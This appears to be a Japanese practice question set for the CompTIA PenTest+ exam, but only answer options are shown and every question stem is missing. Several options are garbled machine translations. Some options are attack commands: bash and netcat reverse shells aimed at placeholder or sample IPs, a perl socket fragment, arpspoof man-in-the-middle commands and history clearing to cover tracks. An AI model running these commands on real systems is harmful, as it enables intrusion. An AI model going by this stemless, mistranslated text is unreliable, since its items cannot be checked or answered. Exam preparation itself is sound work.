PT0-001日本語 無料問題集「CompTIA PenTest+ Certification Exam (PT0-001日本語版)」

（A）bash -i>＆/ dev / tcp / <DESTINATIONIP> / 443 0>＆1

（B）perl -e 'use SOCKET'; $ i = '<SOURCEIP>; $ p = 443;

（C）nc -e / bin / sh <SOURCEIP> 443

（D）ssh superadmin @ <DESTINATIONIP> -p 443

（A）辞書

（B）セッションハイジャック

（C）エクスプロイトチェーン

（D）カルマ

（A）散水穴攻撃を受けた組織をターゲットとする

（B）特定のチームをEメール攻撃で狙う

（C）USBキードロップでランダムユーザーをターゲットにする

（D）SMS攻撃でエグゼクティブを狙う

（A）国民国家

（B）スクリプトキディ

（C）インサイダーの脅威

（D）サイバー犯罪組織

（A）隠しフィールドのページをかきとる

（B）HTTPヘッダを検索する

（C）権限を水平方向に拡大する

（D）HTTPレスポンスコードを解析する

（A）The client has updated their codebase with new features.

（B）Thera are currently no known exploits for this vulnerability.

（C）The threat landscape has significantly changed.

（D）The client has applied a hot fix without updating the version.

（A）デバイスに対してSMBエクスプロイトを開始します。

（B）デバイスに対してDNSキャッシュポイズニング攻撃を開始します。

（C）デバイスに対してNessusの脆弱性スキャンを実行します。

（D）デバイスに対してSNMPパスワード総当たり攻撃を開始します。

（A）arpspoof -r -t 192 .168.1.253 192.168.1.20

（B）arpspoof -c both -r -t 192.168.1.1 192.168.1.20

（C）arpspoof -c both -t 192.168.1.20 192.168.1.253

（D）arpspoof -t 192.168.1.20 192.168.1.254

（A）acegikmo

（B）pnlhfdb

（C）ab

（D）adgjmp

（A）本体

（B）技術概要

（C）エグゼクティブサマリー

（D）付録

（A）nc -e /bin/sh 10.2.4.6. 443

（B）nc 10.2.4.6. 443

（C）nc -nlvp 443

（D）nc -w3 10.2.4.6 443

（A）rm -f ./history

（B）履歴-c

（C）history --remove

（D）猫の歴史をクリア

（A）情報の開示。

（B）スケジュールの競合

（C）スコープクリープのテスト

（D）生産への影響

（A）プリンターのMACアドレスのなりすまし

（B）STP攻撃を実施する

（C）DTPネゴシエーションの乱用

（D）LLMNRポイズニングの実行

（A）対話型シェルを取得するために特権を昇格させようとします。

（B）xtermを実行して、ターゲットのXサーバーに接続します。

（C）/ dev / tcpソケットを使用してみてください。

（D）/ etc / shadowの読み取りを試みます。

（A）ペネトレーションテストの結果、一般に公開すると消費者の不満につながる可能性がある

（B）侵入テストの調査結果にはしばしば企業の知的財産が含まれています

（C）侵入テストの結果は特権情報を含む法的文書です

（D）侵入テストの発見は攻撃者がシステムを危険にさらすのを助けることができる

（A）ソーシャルメディアを検索して、協力しているテクノロジに関する情報を投稿している情報テクノロジの従業員を探します。

（B）ドメインおよびIPレジストリのWebサイトを使用して、会社の外部ネットブロックと外部向けアプリケーションを識別します。

（C）会社の建物の外で待って、従業員の後ろに追いつこうとします。

（D）会社の外部向けWebメールアプリケーションを特定し、ユーザーアカウントを列挙し、パスワードを推測してアクセスします。

（E）会社の外部ネットブロックに対して脆弱性スキャンを実行し、悪用可能な脆弱性を識別し、アクセスを試みる。

（A）クロスサイトリクエストフォージェリ

（B）ログイン資格情報の総当たり攻撃

（C）セッションハイジャック

（D）任意のコード実行

（E）SQLインジェクション